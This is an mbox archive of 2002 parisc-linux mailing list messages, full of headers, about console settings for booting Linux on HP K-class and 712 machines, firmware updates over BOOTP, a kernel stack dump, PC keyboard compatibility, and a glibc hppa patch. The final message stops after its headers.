> > > 6. Sahp Baat Kiuh AP/MUX (5) at 0xf1900000 [10/4/0], versions 0x44,
> > 0x0, 0xd
> > > Command line for kernel: 'ramdisk_size=8192 root=/dev/ram console=ttyS0
> > Oops... this is bad.  The K class systems do not have a 16550 compatible
> > serial port.  The console should be ttyB0.
> > For mor info on the console, see Matthew's excellent description of what
> > systems use the Serial Mux driver.
> > http://lists.parisc-linux.org/pipermail/parisc-linux/2002-September/017837.html
> 
> Aha! :=)
> 
> But with:
> 
> Command line for kernel: 'ramdisk_size=8192 root=/dev/ram console=ttyB0
> TERM=vt102 palo_kernel=0/vmlinux'
> 
> (..)
> 
> Branching to kernel entry point 0x00100098.  If this is the last
> message you see, you may need to switch your console.  This is
> a common symptom -- search the FAQ and mailing list at parisc-linux.org
> 
> And that IS the last thing I see :/
> 
> with console=ttyS0 at least more output came. How do I 'switch console'?
> 
> Do I need to connect something to this MDP-port instead?
> (how? It is some inverted rs232 15-pin)
> 
> This happens with both vmlinux32 og 64.
> 
> --
> Stian Siland               There are only 10 types of people in the world:
> ITEA systemdrift            Those who understand binary, and those who don't.
> http://www.stud.ntnu.no/
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:24:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] firmware update using BOOTP
Date: Mon, 30 Sep 2002 18:53:11 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20021001005311.B5E3E4829@dsl2.external.hp.com>
References: <Pine.GSO.4.31.0209292306350.1357-100000@eduserv.rug.ac.be>  <1033395024.454.3.camel@seventy>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621787 14995 80.91.229.3 (22 Nov 2014 02:03:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Smith <james@compusmithllc.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 18:53:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id B5E3E4829; Mon, 30 Sep 2002 18:53:11 -0600 (MDT)
In-Reply-To: Message from James Smith <james@compusmithllc.com> 
   of "30 Sep 2002 09:10:22 CDT." <1033395024.454.3.camel@seventy> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16352

James Smith wrote:
> most of my 712's are ver 1.9 or 2.1 & they all work fine as far as i can
> see with linux - is there any advantage to updating to 2.3 ?
> 
> or is this a case of 'if its not broken....'

Definitely. And I hope that's clear in the FAQ.

grant


From - Thu Nov 08 21:24:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stian Soiland <stain@itea.ntnu.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/802/K250 won't boot with images - serial/stack problem?
Date: Tue, 1 Oct 2002 03:18:00 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <20021001011800.GA11383@itea.ntnu.no>
References: <20020930200805.GA9133@itea.ntnu.no> <1033417191.31126.4.camel@beavis> <20020930204559.GB9133@itea.ntnu.no> <3D98D2B9.659E5A0B@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621788 14997 80.91.229.3 (22 Nov 2014 02:03:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 19:18:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from flaske.stud.ntnu.no (flaske.stud.ntnu.no [129.241.56.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0E294829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Sep 2002 19:18:03 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by flaske.stud.ntnu.no (Postfix) with ESMTP
	id 2D061FF236; Tue,  1 Oct 2002 03:18:01 +0200 (CEST)
Original-Received: from lama.stud.ntnu.no (lama.stud.ntnu.no [129.241.56.38])
	by flaske.stud.ntnu.no (Postfix) with ESMTP
	id 8A5CAFF229; Tue,  1 Oct 2002 03:18:00 +0200 (CEST)
Original-Received: (from stain@localhost)
	by lama.stud.ntnu.no (8.11.6/8.10.0.Beta12) id g911I0Z16948;
	Tue, 1 Oct 2002 03:18:00 +0200 (MEST)
Content-Disposition: inline
In-Reply-To: <3D98D2B9.659E5A0B@gmx.at>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS perl-11
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16353

On 2002-10-01 00:39:53, Christoph Plattner wrote:

> As far as I see the problem: YES, you must use the
> serial porton the MDP (port 0 !). Or use the PDC console
> instead of MUX driver, then you are on the safe side,
> concerning the console connecting method. The PDC
> conolse driver takes that interface, which is configured
> in the PDC monitor as console, independent of device
> type, chips, ports, etc...

Luckily - with the -PDC-images and ttyB0 everything worked out
perfectly, the kernel found all my disks, my network card,
it is now "Installing base packages..." - so I go home to eat dinner
and connect with ssh to the serial terminal server to watch for further
progress :=3D)

Well.. I delayed the dinner, and now the box is perfect :)
Brilliant work, everyone! I really had no idea it would
work that smooth.

  http://beist.ntnu.nu/

--=20
Stian S=F8iland               Det er ikke for lurt =E5 pr=F8ve noe nytt n=
=E5r man
ITEA systemdrift            egentlig er for sliten til =E5 spise is. [Hauge=
n]
http://www.stud.ntnu.no/   =20
                           =20


From - Thu Nov 08 21:24:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel panic on K210/819
Date: Tue, 01 Oct 2002 09:56:34 +0300
Lines: 29
Approved: news@gmane.org
Message-ID: <3D994722.8090200@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------080203060207020303060903"
X-Trace: ger.gmane.org 1416621788 15001 80.91.229.3 (22 Nov 2014 02:03:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  1 00:54:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 193394829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Oct 2002 00:54:26 -0600 (MDT)
Original-Received: (qmail 16866 invoked from network); 1 Oct 2002 06:56:18 -0000
Original-Received: from softdnserror (HELO itp.bg) (212.72.204.2)
  by softdnserror with SMTP; 1 Oct 2002 06:56:17 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16354

This is a multi-part message in MIME format.
--------------080203060207020303060903
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Please see the attachment.
I use firmware 2.4 on this HP


--------------080203060207020303060903
Content-Type: text/plain;
 name="hp"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="hp"

Oct  1 01:00:03 obzor kernel: WARNING! Stack pointer and cr30 do not
correspond!Oct  1 01:00:03 obzor kernel: Dumping virtual address stack
instead
Oct  1 01:00:03 obzor kernel:
Oct  1 01:00:03 obzor kernel: Dumping Stack from 0x3ff60000 to 0x3ff609c0:
Oct  1 08:14:59 obzor syslogd 1.4.1#10: restart.
Oct  1 08:14:59 obzor kernel: klogd 1.4.1#10, log source = /proc/kmsg
started.
Oct  1 08:14:59 obzor kernel: Inspecting /boot/System.map

--------------080203060207020303060903--



From - Thu Nov 08 21:24:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Cornelis <Frank.Cornelis@rug.ac.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] firmware update using BOOTP
Date: Tue, 1 Oct 2002 09:31:35 +0200 (MEST)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.31.0210010927510.12081-100000@eduserv.rug.ac.be>
References: <1033419379.4785.33.camel@seventy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621788 15003 80.91.229.3 (22 Nov 2014 02:03:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:08 +0000 (UTC)
Cc: Frank Cornelis <Frank.Cornelis@rug.ac.be>,
	<parisc-linux@lists.parisc-linux.org>
To: James Smith <james@compusmithllc.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  1 01:31:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dobit2.rug.ac.be (dobit2.rug.ac.be [157.193.42.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id A74674856
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Oct 2002 01:31:42 -0600 (MDT)
Original-Received: from eduserv.rug.ac.be (eduserv.rug.ac.be [157.193.40.29])
	by dobit2.rug.ac.be (8.11.1/8.11.1) with ESMTP id g917VZB26533;
	Tue, 1 Oct 2002 09:31:39 +0200 (MEST)
Original-Received: from localhost (fcorneli@localhost)
	by eduserv.rug.ac.be (8.11.1/8.11.1) with ESMTP id g917VZo14085;
	Tue, 1 Oct 2002 09:31:35 +0200 (MEST)
In-Reply-To: <1033419379.4785.33.camel@seventy>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16355

> i installed all my 712's from bootp without upgrading & they went fine -
> even the ones with the 1.9 firmwares

I know, BOOTP booting also worked with me before the firmware patching.
But anyway, upgrading never hurts and the HP/linux FAQ recommended it.

> have you got a pointer to the firmware update info so i can check it out
> the pros/cons myself ?

All the firmware updates can be found at:
	ftp://us-ffs.external.hp.com/firmware_patches/hp/cpu/catalog

Frank.



From - Thu Nov 08 21:24:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Harri Haataja <harri.haataja@cs.helsinki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hardware newbie question...
Date: Tue, 1 Oct 2002 13:00:03 +0300
Lines: 32
Approved: news@gmane.org
Message-ID: <20021001130000.A10114@azrael.smilehouse.com>
References: <Pine.NEB.4.44.0209251557570.7537-100000@io.fachschaften.tu-muenchen.de> <20020930223115.63225.qmail@web12508.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621788 15005 80.91.229.3 (22 Nov 2014 02:03:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  1 04:00:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep19-app.kolumbus.fi (fep19-0.kolumbus.fi [193.229.0.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F088484C
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Oct 2002 04:00:12 -0600 (MDT)
Original-Received: from azrael.blades.cxm ([62.248.232.158])
          by fep19-app.kolumbus.fi with ESMTP
          id <20021001100007.QFFT28168.fep19-app.kolumbus.fi@azrael.blades.cxm>
          for <parisc-linux@lists.parisc-linux.org>;
          Tue, 1 Oct 2002 13:00:07 +0300
Original-Received: (from blades@localhost)
	by azrael.blades.cxm (SGI-8.9.3/8.9.3) id NAA10194
	for parisc-linux@lists.parisc-linux.org; Tue, 1 Oct 2002 13:00:04 +0300 (EEST)
X-Authentication-Warning: azrael.blades.cxm: blades set sender to harri.haataja@cs.helsinki.fi using -f
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020930223115.63225.qmail@web12508.mail.yahoo.com>; from derekengelhaupt@rocketmail.com on Mon, Sep 30, 2002 at 03:31:15PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16356

On Mon, Sep 30, 2002 at 03:31:15PM -0700, Derek Engelhaupt wrote:
> --- Andreas Deresch <aderesch@fs.tum.de> wrote:
> > On Wed, 25 Sep 2002, Thibaut VARENE wrote:
> > > Stephen J de Vries wrote:
> > > > I have a HP 712 that I'd purchased recently.
> > > > My question is:
> > > > Can I use a PC monitor, keyboard, and mouse to boot the thing
> > > > up?  If so, does the monitor have to be a multisync or something
> > > > special?
> > > OK for the PC monitor. Use 'Tab' at boot time to switch 712's
> > > resolution
> > > NO for the PC keyboard (pc kbd is 75mA iirc, 712 is 500mA)
> > Hhmm. I have used two different PS/2 keyboards on a 712. So far
> > nothing unexpected has happened to either the box nor the
> > keyboard... it works just fine.
> Me too....

And even if those numbers meant something, 712 having 500mA available
and a keyboard pulling 75mA out of it would be perfectly fine. Now if
those were voltages or impedances, then you might want to match.

My SGI Granite says 12V 300mA max kb, 5V 15mA mouse
My HP C1429B says 200mA max, 12V 120mA (Whoa!) mouse
My Sun type4 says 5V 0.35A (sic) max both
ICL PS/2 says 0.3A

JFTR. ICBW, but I don't think so.

-- 
The meek will inherit the earth; the rest of us will go to the stars.



From - Thu Nov 08 21:24:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hardware newbie question...
Date: Tue, 01 Oct 2002 12:47:24 +0200
Organization: ESIEE
Lines: 42
Approved: news@gmane.org
Message-ID: <3D997D3C.5070406@esiee.fr>
References: <Pine.NEB.4.44.0209251557570.7537-100000@io.fachschaften.tu-muenchen.de> <20020930223115.63225.qmail@web12508.mail.yahoo.com> <20021001130000.A10114@azrael.smilehouse.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621789 15008 80.91.229.3 (22 Nov 2014 02:03:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Harri Haataja <harri.haataja@cs.helsinki.fi>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  1 04:49:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB8AD484C
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Oct 2002 04:49:52 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with SMTP
	id 4A8B749C9F; Tue,  1 Oct 2002 12:49:50 +0200 (CEST)
Original-Received: from esiee.fr (grobluk.esiee.fr [147.215.7.22])
	by mail.esiee.fr (Postfix) with ESMTP
	id A133249BF1; Tue,  1 Oct 2002 12:49:49 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.1) Gecko/20020827
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16357

Harri Haataja wrote:
> On Mon, Sep 30, 2002 at 03:31:15PM -0700, Derek Engelhaupt wrote:
> 
>>--- Andreas Deresch <aderesch@fs.tum.de> wrote:
>>
>>>On Wed, 25 Sep 2002, Thibaut VARENE wrote:
>>>
>>>>Stephen J de Vries wrote:
>>>>
>>>>>I have a HP 712 that I'd purchased recently.
>>>>>My question is:
>>>>>Can I use a PC monitor, keyboard, and mouse to boot the thing
>>>>>up?  If so, does the monitor have to be a multisync or something
>>>>>special?
>>>>
>>>>OK for the PC monitor. Use 'Tab' at boot time to switch 712's
>>>>resolution
>>>>NO for the PC keyboard (pc kbd is 75mA iirc, 712 is 500mA)
>>>
>>>Hhmm. I have used two different PS/2 keyboards on a 712. So far
>>>nothing unexpected has happened to either the box nor the
>>>keyboard... it works just fine.
>>
>>Me too....


OK, just to put an end at this flow of mails, I was completely wrong 
about the keyboard and confused things with another problem we had in 
the past.

Therefore, I do confirm that 712 _can_ use any PC material. ;)

I hope that makes everybody happy :o)


-- 
Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:24:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [roland@redhat.com: Re: [PATCH] glibc 2.2.94 - hppa - min kernel and unwind-find-fde]
Date: Tue, 1 Oct 2002 16:03:29 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <20021001200329.GG25959@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621789 15010 80.91.229.3 (22 Nov 2014 02:03:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  1 14:03:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 845914829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Oct 2002 14:03:30 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17wTEw-00079n-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 01 Oct 2002 16:03:30 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (94% Sync Ratio [=========.])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16358

pa,

Do we actaully have such a thing as old C++ binaries? :)
Thoughs or comments appreciated.

c.

----- Forwarded message from Roland McGrath <roland@redhat.com> -----

Envelope-to: carlos@localhost
Delivery-date: Tue, 01 Oct 2002 15:51:34 -0400
From: Roland McGrath <roland@redhat.com>
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Cc: libc-alpha@sources.redhat.com, debian-glibc@lists.debian.org
Subject: Re: [PATCH] glibc 2.2.94 - hppa - min kernel and unwind-find-fde
X-Windows: ignorance is our most important resource.

> The following patch bumps up the minimum kernel required for hppa,
> and adds libc_cv_gcc_unwind_find_fde (I'm curious if this last bit 
> is still needed?). 

Please figure it out and be sure.  You need it only if there are existing
old C++ binaries that have references to _Unwind_Find_FDE.  If there are no
C++ binaries you want to be compatible with that predate a certain GCC
version (not sure which off hand), then you don't need it.  But I don't
think it hurts to have it.

> 2002-10-01  Matthew Wilcox  <willy@debian.org>
> 
> 	* sysdeps/unix/sysv/linux/configure: 
> 	Make 2.4.18 minimum linux kernel for hppa, and add 
> 	libc_cv_gcc_unwind_find_fde=yes.

This log entry is for a generated file, and there is no log entry for the
actual source file.

----- End forwarded message -----


From - Thu Nov 08 21:24:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [roland@redhat.com: Re: [PATCH] glibc 2.2.94 - hppa - min kernel and unwind-find-fde]
Date: Tue, 1 Oct 2002 16:18:53 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <200210012018.g91KIrCv028501@hiauly1.hia.nrc.ca>
References: <20021001200329.GG25959@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621789 15012 80.91.229.3 (22 Nov 2014 02:03:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct  1 14:18:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 78D4C485C
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Oct 2002 14:18:57 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g91KIr00028502;
	Tue, 1 Oct 2002 16:18:54 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g91KIrCv028501;
	Tue, 1 Oct 2002 16:18:53 -0400 (EDT)
In-Reply-To: <20021001200329.GG25959@systemhalted> from "Carlos O'Donell" at Oct 1, 2002 04:03:29 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
